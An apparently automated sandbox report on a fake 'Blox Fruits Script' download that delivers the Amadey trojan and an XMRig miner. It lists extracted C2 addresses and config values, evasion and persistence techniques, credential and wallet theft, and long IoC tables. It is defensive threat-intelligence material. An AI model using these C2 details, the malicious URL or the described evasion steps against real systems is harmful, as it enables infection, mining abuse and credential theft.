amadey | hxxps://lavacht[.]com/Blox_Fruits_Script/index[.]php

Resubmissions

23/02/2024, 14:47

240223-r6dq1scc61 10

23/02/2024, 10:19

240223-mcv1zsfb84 10

23/02/2024, 09:45

240223-lq8nkaeh54 10

Analysis

max time kernel
1439s
max time network
1442s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
23/02/2024, 14:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://lavacht.com/Blox_Fruits_Script/index.php

Score

10^/10

amadey xmrig discovery evasion miner persistence spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.17

http://185.196.10.188

http://45.159.189.140

http://89.23.103.42

Attributes

install_dir
d9645f975a
install_file
Dctooux.exe
strings_key
63cccebb4f5b1c1e01047657797f75bb
url_paths
/hb9IvshS/index.php

/f5f/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 5 IoCs

miner

resource	yara_rule
behavioral1/memory/2588-6784-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral1/memory/2588-6785-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral1/memory/2588-6786-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral1/memory/2588-6787-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral1/memory/2588-6788-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	2plugin2901
File created	C:\Windows\system32\drivers\etc\hosts	csrss.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2plugin2901
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2plugin2901
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	csrss.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000\Control Panel\International\Geo\Nation	Launhcer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000\Control Panel\International\Geo\Nation	Launcher.exe

Executes dropped EXE 16 IoCs

pid	Process
4316	Launcher.exe
3984	Launhcer.exe
1668	Launcher.exe
4204	wget.exe
2028	winrar.exe
1152	plugin0222
4312	wget.exe
5064	plugin0222
632	winrar.exe
4340	2plugin2901
3576	wget.exe
1908	csrss.exe
876	winrar.exe
1064	3plugin0222
1580	3plugin0222
1908	csrss.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
81	raw.githubusercontent.com
82	raw.githubusercontent.com
87	raw.githubusercontent.com

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	2plugin2901
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	csrss.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1152 set thread context of 5064	1152	plugin0222	128
PID 1908 set thread context of 2572	1908	csrss.exe	159
PID 1908 set thread context of 2588	1908	csrss.exe	160
PID 1064 set thread context of 1580	1064	3plugin0222	164

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2004	sc.exe
4116	sc.exe
1296	sc.exe
1380	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3024	5064	WerFault.exe	128

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000_Classes\Local Settings	chrome.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0280f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3032	chrome.exe
3032	chrome.exe
1236	chrome.exe
1236	chrome.exe
1044	powershell.exe
1044	powershell.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
4340	2plugin2901
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
2844	taskmgr.exe
2844	taskmgr.exe
4340	2plugin2901
4340	2plugin2901
4340	2plugin2901
4340	2plugin2901
4340	2plugin2901
4340	2plugin2901
2844	taskmgr.exe
2844	taskmgr.exe
1908	csrss.exe
2844	taskmgr.exe
1776	powershell.exe
1776	powershell.exe
1776	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2844	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
